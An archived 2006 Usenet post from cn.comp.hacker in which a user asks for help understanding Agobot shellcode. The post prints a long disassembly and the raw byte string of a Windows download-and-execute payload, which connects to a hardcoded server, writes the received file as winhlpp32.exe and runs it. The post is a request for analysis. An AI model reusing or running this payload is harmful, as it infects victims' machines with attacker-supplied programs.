🚀 go-pugleaf

RetroBBS NetNews Server

Inspired by RockSolid Light RIP Retro Guy

Article View: cn.comp.hacker
Article #13518

shellcode问题求助

#13518
From: changs
Date: Thu, 02 Mar 2006 22:03
765 lines
27783 bytes
Hi, all

下面是agobot的一个shell
code,功能好象是开一个socket然后跟指定的server连接,然后传送文件,我已经把它转成汇编,但是我对这个代码没有一点头绪,请高手指点.

Tony

The code is here. Actually, the original code is binary code, I
decompile it. I also attach the origin binary code after the asm code.
ASM code
0xbf9784fe:     jmp    0xbf978662
0xbf978503:     pop    %ebx
0xbf978504:     push   %esi
0xbf978505:     push   %edi
0xbf978506:     push   %eax
0xbf978507:     call   0xbf9788bf
0xbf97850c:     lea    0x9f(%ebx),%esi
0xbf978512:     lea    0xa8(%ebx),%edi
0xbf978518:     movl   $0xf,0x1a7(%ebx)
0xbf978522:     call   0xbf97882e
0xbf978527:     mov    %eax,0xf4(%ebx)
0xbf97852d:     lea    0xb7(%ebx),%edi
0xbf978533:     movl   $0xd,0x1a7(%ebx)
0xbf97853d:     call   0xbf97882e
0xbf978542:     mov    %eax,0xf0(%ebx)
0xbf978548:     lea    0xc4(%ebx),%edi
0xbf97854e:     call   0xbf978816
0xbf978553:     mov    %eax,0xe4(%ebx)
0xbf978559:     lea    0xca(%ebx),%edi
0xbf97855f:     call   0xbf978816
0xbf978564:     mov    %eax,0xe8(%ebx)
0xbf97856a:     lea    0xd5(%ebx),%edi
0xbf978570:     call   0xbf978816
0xbf978575:     mov    %eax,0xec(%ebx)
0xbf97857b:     lea    0xa(%ebx),%esi
0xbf978581:     lea    0x11(%ebx),%edi
0xbf978587:     call   0xbf978816
0xbf97858c:     mov    %eax,0x41(%ebx)
0xbf978592:     lea    0x1c(%ebx),%edi
0xbf978598:     call   0xbf978816
0xbf97859d:     mov    %eax,0x45(%ebx)
0xbf9785a3:     lea    0x23(%ebx),%edi
0xbf9785a9:     call   0xbf978816
0xbf9785ae:     mov    %eax,0x49(%ebx)
0xbf9785b4:     lea    0x2b(%ebx),%edi
0xbf9785ba:     call   0xbf978816
0xbf9785bf:     mov    %eax,0x4d(%ebx)
0xbf9785c5:     lea    0x30(%ebx),%edi
0xbf9785cb:     call   0xbf978816
0xbf9785d0:     mov    %eax,0x51(%ebx)
0xbf9785d6:     lea    0x35(%ebx),%edi
0xbf9785dc:     call   0xbf978816
0xbf9785e1:     mov    %eax,0x55(%ebx)
0xbf9785e7:     lea    0x59(%ebx),%esi
0xbf9785ed:     lea    0x60(%ebx),%edi
0xbf9785f3:     call   0xbf978816
0xbf9785f8:     mov    %eax,0x87(%ebx)
0xbf9785fe:     lea    0x66(%ebx),%edi
0xbf978604:     call   0xbf978816
0xbf978609:     mov    %eax,0x8b(%ebx)
0xbf97860f:     lea    0x6d(%ebx),%edi
0xbf978615:     call   0xbf978816
0xbf97861a:     mov    %eax,0x8f(%ebx)
0xbf978620:     lea    0x74(%ebx),%edi
0xbf978626:     call   0xbf978816
0xbf97862b:     mov    %eax,0x93(%ebx)
0xbf978631:     lea    0x7b(%ebx),%edi
0xbf978637:     call   0xbf978816
0xbf97863c:     mov    %eax,0x97(%ebx)
0xbf978642:     lea    0x82(%ebx),%edi
0xbf978648:     call   0xbf978816
0xbf97864d:     mov    %eax,0x9b(%ebx)
0xbf978653:     push   %ebx
0xbf978654:     call   0xbf978944
0xbf978659:     pop    %ebx
0xbf97865a:     pop    %eax
0xbf97865b:     pop    %edi
0xbf97865c:     pop    %esi
0xbf97865d:     call   0xbf978b72
0xbf978662:     call   0xbf978503
0xbf978667:     add    %al,(%eax)
0xbf978669:     add    %al,(%eax)
0xbf97866b:     adc    %edx,(%ecx)
0xbf97866d:     adc    %edx,(%ecx)
0xbf97866f:     and    (%edx),%ah
0xbf978671:     ja     0xbf9786e6
0xbf978673:     xor    0x33(%edi),%bl
0xbf978676:     xor    (%eax),%al
0xbf978678:     push   %edi
0xbf978679:     push   %ebx
0xbf97867a:     inc    %ecx
0xbf97867b:     push   %ebx
0xbf97867c:     je     0xbf9786df
0xbf97867e:     jb     0xbf9786f4
0xbf978680:     jne    0xbf9786f2
0xbf978682:     add    %dh,0x6f(%ebx)
0xbf978685:     arpl   %bp,0x65(%ebx)
0xbf978688:     je     0xbf97868a
0xbf97868a:     arpl   %bp,0x6e(%edi)
0xbf97868d:     outsb  %ds:(%esi),(%dx)
0xbf97868e:     arpl   %si,%gs:0x72(%eax,%eax,1)
0xbf978693:     arpl   %si,%gs:0x0(%esi)
0xbf978697:     jae    0xbf9786fe
0xbf978699:     outsb  %ds:(%esi),(%dx)
0xbf97869a:     add    %ah,%fs:0x6c(%ebx)
0xbf97869e:     outsl  %ds:(%esi),(%dx)
0xbf97869f:     jae    0xbf978706
0xbf9786a1:     jae    0xbf978712
0xbf9786a3:     arpl   %bp,0x65(%ebx)
0xbf9786a6:     je     0xbf9786a8
0xbf9786a8:     add    %al,(%eax)
0xbf9786aa:     add    %al,(%eax)
0xbf9786ac:     add    %al,(%eax)
0xbf9786ae:     add    %al,(%eax)
0xbf9786b0:     add    %al,(%eax)
0xbf9786b2:     add    %al,(%eax)
0xbf9786b4:     add    %al,(%eax)
0xbf9786b6:     add    %al,(%eax)
0xbf9786b8:     add    %al,(%eax)
0xbf9786ba:     add    %al,(%eax)
0xbf9786bc:     add    %al,(%eax)
0xbf9786be:     add    %al,(%eax)
0xbf9786c0:     insl   (%dx),%es:(%edi)
0xbf9786c1:     jae    0xbf978739
0xbf9786c3:     arpl   %si,0x74(%edx)
0xbf9786c6:     add    %ah,0x6f(%esi)
0xbf9786c9:     jo     0xbf978730
0xbf9786cb:     outsb  %ds:(%esi),(%dx)
0xbf9786cc:     add    %ah,0x63(%esi)
0xbf9786cf:     insb   (%dx),%es:(%edi)
0xbf9786d0:     outsl  %ds:(%esi),(%dx)
0xbf9786d1:     jae    0xbf978738
0xbf9786d3:     add    %ah,0x77(%esi)
0xbf9786d6:     jb     0xbf978741
0xbf9786d8:     je     0xbf97873f
0xbf9786da:     add    %ch,0x65(%ebp)
0xbf9786dd:     insl   (%dx),%es:(%edi)
0xbf9786de:     jae    0xbf978745
0xbf9786e0:     je     0xbf9786e2
0xbf9786e2:     insl   (%dx),%es:(%edi)
0xbf9786e3:     popa
0xbf9786e4:     insb   (%dx),%es:(%edi)
0xbf9786e5:     insb   (%dx),%es:(%edi)
0xbf9786e6:     outsl  %ds:(%esi),(%dx)
0xbf9786e7:     arpl   %ax,(%eax)
0xbf9786e9:     data16
0xbf9786ea:     jb     0xbf978751
0xbf9786ec:     add    %al,%gs:(%eax)
0xbf9786ef:     add    %al,(%eax)
0xbf9786f1:     add    %al,(%eax)
0xbf9786f3:     add    %al,(%eax)
0xbf9786f5:     add    %al,(%eax)
0xbf9786f7:     add    %al,(%eax)
0xbf9786f9:     add    %al,(%eax)
0xbf9786fb:     add    %al,(%eax)
0xbf9786fd:     add    %al,(%eax)
0xbf9786ff:     add    %al,(%eax)
0xbf978701:     add    %al,(%eax)
0xbf978703:     add    %al,(%eax)
0xbf978705:     add    %ch,0x65(%ebx)
0xbf978708:     jb     0xbf978778
0xbf97870a:     gs
0xbf97870b:     insb   (%dx),%es:(%edi)
0xbf97870c:     xor    (%edx),%esi
0xbf97870e:     add    %al,0x65(%edi)
0xbf978711:     je     0xbf978763
0xbf978713:     jb     0xbf978784
0xbf978715:     arpl   %ax,0x64(%ecx)
0xbf978718:     fs
0xbf978719:     jb     0xbf978780
0xbf97871b:     jae    0xbf978790
0xbf97871d:     add    %cl,0x61(%edi,%ebp,2)
0xbf978721:     fs
0xbf978722:     dec    %esp
0xbf978723:     imul   $0x41797261,0x72(%edx),%esp
0xbf97872a:     add    %dl,0x6c(%ebx)
0xbf97872d:     gs
0xbf97872e:     gs
0xbf97872f:     jo     0xbf978731
0xbf978731:     inc    %ebp
0xbf978732:     js     0xbf97879d
0xbf978734:     je     0xbf97878a
0xbf978736:     push   $0x64616572
0xbf97873b:     add    %al,0x72(%ebx)
0xbf97873e:     gs
0xbf97873f:     popa
0xbf978740:     je     0xbf9787a7
0xbf978742:     push   %eax
0xbf978743:     jb     0xbf9787b4
0xbf978745:     arpl   %sp,0x73(%ebp)
0xbf978748:     jae    0xbf97878b
0xbf97874a:     add    %al,(%eax)
0xbf97874c:     add    %al,(%eax)
0xbf97874e:     add    %al,(%eax)
0xbf978750:     add    %al,(%eax)
0xbf978752:     add    %al,(%eax)
0xbf978754:     add    %al,(%eax)
0xbf978756:     add    %al,(%eax)
0xbf978758:     add    %al,(%eax)
0xbf97875a:     add    %al,(%eax)
0xbf97875c:     add    %al,(%eax)
0xbf97875e:     add    %al,(%eax)
0xbf978760:     add    %al,(%eax)
0xbf978762:     add    %al,(%eax)
0xbf978764:     add    %al,(%eax)
0xbf978766:     add    %al,(%eax)
0xbf978768:     add    %al,(%eax)
0xbf97876a:     add    %al,(%eax)
0xbf97876c:     add    %al,(%eax)
0xbf97876e:     add    %al,(%eax)
0xbf978770:     add    %al,(%eax)
0xbf978772:     add    %al,(%eax)
0xbf978774:     add    %al,(%eax)
0xbf978776:     add    %al,(%eax)
0xbf978778:     add    %al,(%eax)
0xbf97877a:     add    %al,(%eax)
0xbf97877c:     add    %al,(%eax)
0xbf97877e:     add    %al,(%eax)
0xbf978780:     add    %al,(%eax)
0xbf978782:     add    %al,0x0(%eax,%eax,1)
0xbf978786:     add    %al,(%eax)
0xbf978788:     add    %al,(%eax)
0xbf97878a:     add    %al,(%eax)
0xbf97878c:     add    %al,(%eax)
0xbf97878e:     add    %al,(%eax)
0xbf978790:     add    %al,(%eax)
0xbf978792:     add    %al,(%eax)
0xbf978794:     add    %al,(%eax)
0xbf978796:     add    %al,(%eax)
0xbf978798:     add    %al,(%eax)
0xbf97879a:     add    %al,(%eax)
0xbf97879c:     add    %al,(%eax)
0xbf97879e:     add    %al,(%eax)
0xbf9787a0:     add    %al,(%eax)
0xbf9787a2:     add    %al,(%eax)
0xbf9787a4:     add    %al,(%eax)
0xbf9787a6:     add    %al,(%eax)
0xbf9787a8:     add    %al,(%eax)
0xbf9787aa:     add    %al,(%eax)
0xbf9787ac:     add    %al,(%eax)
0xbf9787ae:     add    %al,(%eax)
0xbf9787b0:     add    %al,(%eax)
0xbf9787b2:     add    %al,(%eax)
0xbf9787b4:     add    %al,(%eax)
0xbf9787b6:     add    %al,(%eax)
0xbf9787b8:     add    %al,(%eax)
0xbf9787ba:     add    %al,(%eax)
0xbf9787bc:     add    %al,(%eax)
0xbf9787be:     add    %al,(%eax)
0xbf9787c0:     add    %al,(%eax)
0xbf9787c2:     add    %al,(%eax)
0xbf9787c4:     add    %al,(%eax)
0xbf9787c6:     add    %al,(%eax)
0xbf9787c8:     add    %al,(%eax)
0xbf9787ca:     add    %dh,0x2b(%edi)
0xbf9787cd:     bound  %eax,(%eax)
0xbf9787cf:     add    %al,(%eax)
0xbf9787d1:     add    %al,(%eax)
0xbf9787d3:     ja     0xbf97883e
0xbf9787d5:     outsb  %ds:(%esi),(%dx)
0xbf9787d6:     push   $0x3370706c
0xbf9787db:     xor    (%esi),%ch
0xbf9787dd:     gs
0xbf9787de:     js     0xbf978845
0xbf9787e0:     add    %ch,0x70(%edi)
0xbf9787e3:     outsb  %gs:(%esi),(%dx)
0xbf9787e5:     add    %dl,(%esi)
0xbf9787e7:     add    %al,(%eax)
0xbf9787e9:     add    %al,(%eax)
0xbf9787eb:     add    %al,(%eax)
0xbf9787ed:     add    %al,(%eax)
0xbf9787ef:     add    %al,(%eax)
0xbf9787f1:     add    %al,(%eax)
0xbf9787f3:     add    %al,(%eax)
0xbf9787f5:     add    %al,(%eax)
0xbf9787f7:     add    %al,(%eax)
0xbf9787f9:     add    %al,(%eax)
0xbf9787fb:     add    %al,(%eax)
0xbf9787fd:     add    %al,(%eax)
0xbf9787ff:     add    %al,(%eax)
0xbf978801:     add    %al,(%eax)
0xbf978803:     add    %al,(%eax)
0xbf978805:     add    %al,(%eax)
0xbf978807:     add    %al,(%eax)
0xbf978809:     add    %al,(%eax)
0xbf97880b:     add    %al,(%eax)
0xbf97880d:     add    %al,(%eax)
0xbf97880f:     add    %al,(%eax)
0xbf978811:     add    %al,(%eax)
0xbf978813:     add    %al,(%eax)
0xbf978815:     add    %dl,0x57(%ecx)
0xbf978818:     push   %esi
0xbf978819:     push   %esi
0xbf97881a:     call   *0xf0(%ebx)
0xbf978820:     push   %eax
0xbf978821:     pop    %ecx
0xbf978822:     push   %edi
0xbf978823:     push   %ecx
0xbf978824:     call   *0xf4(%ebx)
0xbf97882a:     pop    %esi
0xbf97882b:     pop    %edi
0xbf97882c:     pop    %ecx
0xbf97882d:     ret
0xbf97882e:     xor    %eax,%eax
0xbf978830:     mov    %eax,0x1a3(%ebx)
0xbf978836:     mov    0x1a3(%ebx),%edx
0xbf97883c:     cmp    0x193(%ebx),%edx
0xbf978842:     jge    0xbf9788a7
0xbf978844:     inc    %edx
0xbf978845:     mov    %edx,0x1a3(%ebx)
0xbf97884b:     xor    %eax,%eax
0xbf97884d:     mov    0x1a3(%ebx),%eax
0xbf978853:     shl    $0x2,%eax
0xbf978856:     mov    0x19b(%ebx),%ecx
0xbf97885c:     add    %eax,%ecx
0xbf97885e:     mov    (%ecx),%eax
0xbf978860:     add    0x18f(%ebx),%eax
0xbf978866:     push   %edi
0xbf978867:     push   %esi
0xbf978868:     push   %ecx
0xbf978869:     mov    %edi,%esi
0xbf97886b:     mov    %eax,%edi
0xbf97886d:     mov    0x1a7(%ebx),%ecx
0xbf978873:     repz cmpsb %es:(%edi),%ds:(%esi)
0xbf978875:     pop    %ecx
0xbf978876:     pop    %esi
0xbf978877:     pop    %edi
0xbf978878:     jne    0xbf978836
0xbf97887a:     xor    %eax,%eax
0xbf97887c:     mov    0x1a3(%ebx),%eax
0xbf978882:     shl    %eax
0xbf978884:     mov    0x19f(%ebx),%ecx
0xbf97888a:     add    %eax,%ecx
0xbf97888c:     xor    %eax,%eax
0xbf97888e:     mov    (%ecx),%ax
0xbf978891:     shl    $0x2,%eax
0xbf978894:     mov    0x197(%ebx),%ecx
0xbf97889a:     add    %ecx,%eax
0xbf97889c:     mov    (%eax),%ecx
0xbf97889e:     add    0x18f(%ebx),%ecx
0xbf9788a4:     mov    %ecx,%eax
0xbf9788a6:     ret
0xbf9788a7:     xor    %eax,%eax
0xbf9788a9:     ret
0xbf9788aa:     jmp    0xbf978b77
0xbf9788af:     mov    %ds:0x34(%eax),%eax
0xbf9788b3:     mov    %ds:0xb8(%eax),%ebp
0xbf9788ba:     jmp    0xbf9788cd
0xbf9788bf:     push   %eax
0xbf9788c0:     push   %ecx
0xbf9788c1:     push   %esi
0xbf9788c2:     push   %ebp
0xbf9788c3:     mov    %fs:0x30,%eax
0xbf9788c9:     test   %eax,%eax
0xbf9788cb:     js     0xbf9788af
0xbf9788cd:     mov    %ds:0xc(%eax),%eax
0xbf9788d1:     mov    %ds:0x1c(%eax),%esi
0xbf9788d5:     lods   %ds:(%esi),%eax
0xbf9788d6:     mov    %ds:0x8(%eax),%ebp
0xbf9788da:     mov    %ebp,0x18f(%ebx)
0xbf9788e0:     mov    %ebp,%eax
0xbf9788e2:     cmpw   $0x5a4d,(%eax)
0xbf9788e7:     jne    0xbf9788aa
0xbf9788e9:     add    $0x3c,%eax
0xbf9788ee:     mov    (%eax),%ecx
0xbf9788f0:     add    0x18f(%ebx),%ecx
0xbf9788f6:     cmpw   $0x4550,(%ecx)
0xbf9788fb:     jne    0xbf9788aa
0xbf9788fd:     add    $0x78,%ecx
0xbf978903:     mov    (%ecx),%esi
0xbf978905:     add    0x18f(%ebx),%esi
0xbf97890b:     add    $0x18,%esi
0xbf978911:     lods   %ds:(%esi),%eax
0xbf978912:     mov    %eax,0x193(%ebx)
0xbf978918:     lods   %ds:(%esi),%eax
0xbf978919:     add    0x18f(%ebx),%eax
0xbf97891f:     mov    %eax,0x197(%ebx)
0xbf978925:     lods   %ds:(%esi),%eax
0xbf978926:     add    0x18f(%ebx),%eax
0xbf97892c:     mov    %eax,0x19b(%ebx)
0xbf978932:     lods   %ds:(%esi),%eax
0xbf978933:     add    0x18f(%ebx),%eax
0xbf978939:     mov    %eax,0x19f(%ebx)
0xbf97893f:     pop    %ebp
0xbf978940:     pop    %esi
0xbf978941:     pop    %ecx
0xbf978942:     pop    %eax
0xbf978943:     ret
0xbf978944:     push   %eax
0xbf978945:     mov    $0x400,%eax
0xbf97894a:     call   0xbf978ac0
0xbf97894f:     cmp    $0x0,%eax
0xbf978954:     je     0xbf978944
0xbf97895a:     mov    %eax,0x183(%ebx)
0xbf978960:     pop    %eax
0xbf978961:     mov    0x183(%ebx),%edx
0xbf978967:     push   %edx
0xbf978968:     push   $0x101
0xbf97896d:     call   *%ds:0x41(%ebx)
0xbf978971:     cmp    $0x0,%eax
0xbf978976:     jne    0xbf978961
0xbf97897c:     push   $0x6
0xbf978981:     push   $0x1
0xbf978986:     push   $0x2
0xbf97898b:     call   *%ds:0x45(%ebx)
0xbf97898f:     cmp    $0xffffffff,%eax
0xbf978994:     je     0xbf97897c
0xbf97899a:     mov    %eax,0xf8(%ebx)
0xbf9789a0:     push   %edi
0xbf9789a1:     push   %eax
0xbf9789a2:     push   %ebx
0xbf9789a3:     lea    0x17f(%ebx),%edx
0xbf9789a9:     movb   $0x16,(%edx)
0xbf9789ac:     push   %edx
0xbf9789ad:     lea    0xfc(%ebx),%edx
0xbf9789b3:     movw   $0x2,(%edx)
0xbf9789b8:     mov    0x8(%ebx),%di
0xbf9789bc:     mov    %di,0x2(%edx)
0xbf9789c0:     mov    0x4(%ebx),%edi
0xbf9789c3:     mov    %edi,0x4(%edx)
0xbf9789c6:     push   %edx
0xbf9789c7:     mov    0xf8(%ebx),%eax
0xbf9789cd:     push   %eax
0xbf9789ce:     call   *%ds:0x49(%ebx)
0xbf9789d2:     cmp    $0x0,%eax
0xbf9789d7:     jl     0xbf9789a3
0xbf9789dd:     pop    %ebx
0xbf9789de:     pop    %eax
0xbf9789df:     pop    %edi
0xbf9789e0:     push   %eax
0xbf9789e1:     mov    $0x1000,%eax
0xbf9789e6:     call   0xbf978ac0
0xbf9789eb:     cmp    $0x0,%eax
0xbf9789f0:     je     0xbf9789e0
0xbf9789f6:     mov    %eax,0x160(%ebx)
0xbf9789fc:     pop    %eax
0xbf9789fd:     call   0xbf978a3b
0xbf978a02:     call   0xbf978adf
0xbf978a07:     call   0xbf978a63
0xbf978a0c:     call   0xbf978b30
0xbf978a11:     ret
0xbf978a12:     mov    0xf8(%ebx),%eax
0xbf978a18:     push   %eax
0xbf978a19:     call   *%ds:0x55(%ebx)
0xbf978a1d:     mov    0x1ab(%ebx),%eax
0xbf978a23:     inc    %eax
0xbf978a24:     mov    %eax,0x1ab(%ebx)
0xbf978a2a:     cmp    $0x5,%eax
0xbf978a2f:     je     0xbf978a3a
0xbf978a35:     jmp    0xbf97897c
0xbf978a3a:     ret
0xbf978a3b:     push   $0x0
0xbf978a40:     push   $0x4
0xbf978a45:     lea    0x187(%ebx),%edx
0xbf978a4b:     push   %edx
0xbf978a4c:     mov    0xf8(%ebx),%edx
0xbf978a52:     push   %edx
0xbf978a53:     call   *%ds:0x4d(%ebx)
0xbf978a57:     cmp    $0x1,%eax
0xbf978a5c:     jl     0xbf978a12
0xbf978a62:     ret
0xbf978a63:     push   %edi
0xbf978a64:     push   %esi
0xbf978a65:     mov    0x187(%ebx),%edi
0xbf978a6b:     mov    0x18b(%ebx),%esi
0xbf978a71:     cmp    %esi,%edi
0xbf978a73:     pop    %esi
0xbf978a74:     pop    %edi
0xbf978a75:     je     0xbf978aad
0xbf978a7b:     push   $0x0
0xbf978a80:     push   $0x1000
0xbf978a85:     mov    0x160(%ebx),%edx
0xbf978a8b:     push   %edx
0xbf978a8c:     mov    0xf8(%ebx),%edx
0xbf978a92:     push   %edx
0xbf978a93:     call   *%ds:0x4d(%ebx)
0xbf978a97:     cmp    $0x1,%eax
0xbf978a9c:     jl     0xbf978a12
0xbf978aa2:     add    %eax,0x18b(%ebx)
0xbf978aa8:     jmp    0xbf978afd
0xbf978aad:     call   0xbf978b20
0xbf978ab2:     push   %eax
0xbf978ab3:     mov    0xf8(%ebx),%eax
0xbf978ab9:     push   %eax
0xbf978aba:     call   *%ds:0x55(%ebx)
0xbf978abe:     pop    %eax
0xbf978abf:     ret
0xbf978ac0:     mov    %eax,%edi
0xbf978ac2:     push   %eax
0xbf978ac3:     call   *%ds:0x97(%ebx)
0xbf978aca:     pop    %edi
0xbf978acb:     push   %eax
0xbf978acc:     push   %edi
0xbf978acd:     push   $0x0
0xbf978ad2:     push   %eax
0xbf978ad3:     call   *%ds:0x93(%ebx)
0xbf978ada:     pop    %edi
0xbf978adb:     pop    %edi
0xbf978adc:     pop    %edi
0xbf978add:     pop    %eax
0xbf978ade:     ret
0xbf978adf:     lea    0x164(%ebx),%edx
0xbf978ae5:     push   %edx
0xbf978ae6:     lea    0x16c(%ebx),%edx
0xbf978aec:     push   %edx
0xbf978aed:     call   *%ds:0x87(%ebx)
0xbf978af4:     pop    %edi
0xbf978af5:     pop    %edi
0xbf978af6:     mov    %eax,0x168(%ebx)
0xbf978afc:     ret
0xbf978afd:     pushl  0x168(%ebx)
0xbf978b03:     push   %eax
0xbf978b04:     push   $0x1
0xbf978b09:     mov    0x160(%ebx),%edx
0xbf978b0f:     push   %edx
0xbf978b10:     call   *%ds:0x8f(%ebx)
0xbf978b17:     pop    %edi
0xbf978b18:     pop    %edi
0xbf978b19:     pop    %edi
0xbf978b1a:     pop    %edi
0xbf978b1b:     jmp    0xbf978a63
0xbf978b20:     mov    0x168(%ebx),%edx
0xbf978b26:     push   %edx
0xbf978b27:     call   *%ds:0x8b(%ebx)
0xbf978b2e:     pop    %edi
0xbf978b2f:     ret
0xbf978b30:     push   %eax
0xbf978b31:     lea    0x10c(%ebx),%eax
0xbf978b37:     push   %eax
0xbf978b38:     lea    0x11c(%ebx),%eax
0xbf978b3e:     push   %eax
0xbf978b3f:     push   $0x0
0xbf978b44:     push   $0x0
0xbf978b49:     push   $0x28
0xbf978b4e:     push   $0x0
0xbf978b53:     push   $0x0
0xbf978b58:     push   $0x0
0xbf978b5d:     lea    0x16c(%ebx),%eax
0xbf978b63:     push   %eax
0xbf978b64:     push   $0x0
0xbf978b69:     call   *%ds:0xec(%ebx)
0xbf978b70:     pop    %eax
0xbf978b71:     ret
0xbf978b72:     call   0xbf978b20
0xbf978b77:     push   $0x0
0xbf978b7c:     call   *0xe8(%ebx)
0xbf978b82:     nop


binary code

"\xEB\x02\xEB\x05\xE8\xF9\xFF\xFF\xFF\x5B\x31\xC9\x66\xB9\xFF\xFF"
        "\x80\x73\x0E\xFF\x43\xE2\xF9"
        "\xE9\x5F\x01\x00\x00\x5B\x56\x57\x50\xE8\xB3\x03\x00\x00\x8D"

"\xB3\x9F\x00\x00\x00\x8D\xBB\xA8\x00\x00\x00\xC7\x83\xA7\x01\x00"

"\x00\x0F\x00\x00\x00\xE8\x07\x03\x00\x00\x89\x83\xF4\x00\x00\x00"

"\x8D\xBB\xB7\x00\x00\x00\xC7\x83\xA7\x01\x00\x00\x0D\x00\x00\x00"

"\xE8\xEC\x02\x00\x00\x89\x83\xF0\x00\x00\x00\x8D\xBB\xC4\x00\x00"

"\x00\xE8\xC3\x02\x00\x00\x89\x83\xE4\x00\x00\x00\x8D\xBB\xCA\x00"

"\x00\x00\xE8\xB2\x02\x00\x00\x89\x83\xE8\x00\x00\x00\x8D\xBB\xD5"

"\x00\x00\x00\xE8\xA1\x02\x00\x00\x89\x83\xEC\x00\x00\x00\x8D\xB3"

"\x0A\x00\x00\x00\x8D\xBB\x11\x00\x00\x00\xE8\x8A\x02\x00\x00\x89"

"\x83\x41\x00\x00\x00\x8D\xBB\x1C\x00\x00\x00\xE8\x79\x02\x00\x00"

"\x89\x83\x45\x00\x00\x00\x8D\xBB\x23\x00\x00\x00\xE8\x68\x02\x00"

"\x00\x89\x83\x49\x00\x00\x00\x8D\xBB\x2B\x00\x00\x00\xE8\x57\x02"

"\x00\x00\x89\x83\x4D\x00\x00\x00\x8D\xBB\x30\x00\x00\x00\xE8\x46"

"\x02\x00\x00\x89\x83\x51\x00\x00\x00\x8D\xBB\x35\x00\x00\x00\xE8"

"\x35\x02\x00\x00\x89\x83\x55\x00\x00\x00\x8D\xB3\x59\x00\x00\x00"

"\x8D\xBB\x60\x00\x00\x00\xE8\x1E\x02\x00\x00\x89\x83\x87\x00\x00"

"\x00\x8D\xBB\x66\x00\x00\x00\xE8\x0D\x02\x00\x00\x89\x83\x8B\x00"

"\x00\x00\x8D\xBB\x6D\x00\x00\x00\xE8\xFC\x01\x00\x00\x89\x83\x8F"

"\x00\x00\x00\x8D\xBB\x74\x00\x00\x00\xE8\xEB\x01\x00\x00\x89\x83"

"\x93\x00\x00\x00\x8D\xBB\x7B\x00\x00\x00\xE8\xDA\x01\x00\x00\x89"

"\x83\x97\x00\x00\x00\x8D\xBB\x82\x00\x00\x00\xE8\xC9\x01\x00\x00"

"\x89\x83\x9B\x00\x00\x00\x53\xE8\xEB\x02\x00\x00\x5B\x58\x5F\x5E"

"\xE8\x10\x05\x00\x00\xE8\x9C\xFE\xFF\xFF\x00\x00\x00\x00\x11\x11"

"\x11\x11\x22\x22\x77\x73\x32\x5F\x33\x32\x00\x57\x53\x41\x53\x74"

"\x61\x72\x74\x75\x70\x00\x73\x6F\x63\x6B\x65\x74\x00\x63\x6F\x6E"

"\x6E\x65\x63\x74\x00\x72\x65\x63\x76\x00\x73\x65\x6E\x64\x00\x63"

"\x6C\x6F\x73\x65\x73\x6F\x63\x6B\x65\x74\x00\x00\x00\x00\x00\x00"

"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"

"\x00\x00\x00\x6D\x73\x76\x63\x72\x74\x00\x66\x6F\x70\x65\x6E\x00"

"\x66\x63\x6C\x6F\x73\x65\x00\x66\x77\x72\x69\x74\x65\x00\x6D\x65"

"\x6D\x73\x65\x74\x00\x6D\x61\x6C\x6C\x6F\x63\x00\x66\x72\x65\x65"

"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"

"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x6B\x65\x72\x6E\x65\x6C\x33"

"\x32\x00\x47\x65\x74\x50\x72\x6F\x63\x41\x64\x64\x72\x65\x73\x73"

"\x00\x4C\x6F\x61\x64\x4C\x69\x62\x72\x61\x72\x79\x41\x00\x53\x6C"

"\x65\x65\x70\x00\x45\x78\x69\x74\x54\x68\x72\x65\x61\x64\x00\x43"

"\x72\x65\x61\x74\x65\x50\x72\x6F\x63\x65\x73\x73\x41\x00\x00\x00"

"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"

"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"

"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"

"\x00\x00\x00\x00\x00\x00\x44\x00\x00\x00\x00\x00\x00\x00\x00\x00"

"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"

"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"

"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"

"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x77\x2B"

"\x62\x00\x00\x00\x00\x00\x77\x69\x6E\x68\x6C\x70\x70\x33\x32\x2E"

"\x65\x78\x65\x00\x6F\x70\x65\x6E\x00\x16\x00\x00\x00\x00\x00\x00"

"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"

"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"

"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x51\x57\x56\x56\xFF\x93\xF0"

"\x00\x00\x00\x50\x59\x57\x51\xFF\x93\xF4\x00\x00\x00\x5E\x5F\x59"

"\xC3\x31\xC0\x89\x83\xA3\x01\x00\x00\x8B\x93\xA3\x01\x00\x00\x3B"

"\x93\x93\x01\x00\x00\x7D\x63\x42\x89\x93\xA3\x01\x00\x00\x31\xC0"

"\x8B\x83\xA3\x01\x00\x00\xC1\xE0\x02\x8B\x8B\x9B\x01\x00\x00\x01"

"\xC1\x8B\x01\x03\x83\x8F\x01\x00\x00\x57\x56\x51\x89\xFE\x89\xC7"

"\x8B\x8B\xA7\x01\x00\x00\xF3\xA6\x59\x5E\x5F\x75\xBC\x31\xC0\x8B"

"\x83\xA3\x01\x00\x00\xD1\xE0\x8B\x8B\x9F\x01\x00\x00\x01\xC1\x31"

"\xC0\x66\x8B\x01\xC1\xE0\x02\x8B\x8B\x97\x01\x00\x00\x01\xC8\x8B"

"\x08\x03\x8B\x8F\x01\x00\x00\x89\xC8\xC3\x31\xC0\xC3\xE9\xC8\x02"

"\x00\x00\x3E\x8B\x40\x34\x3E\x8B\xA8\xB8\x00\x00\x00\xE9\x0E\x00"

"\x00\x00\x50\x51\x56\x55\x64\xA1\x30\x00\x00\x00\x85\xC0\x78\xE2"

"\x3E\x8B\x40\x0C\x3E\x8B\x70\x1C\xAD\x3E\x8B\x68\x08\x89\xAB\x8F"

"\x01\x00\x00\x89\xE8\x66\x81\x38\x4D\x5A\x75\xC1\x05\x3C\x00\x00"

"\x00\x8B\x08\x03\x8B\x8F\x01\x00\x00\x66\x81\x39\x50\x45\x75\xAD"

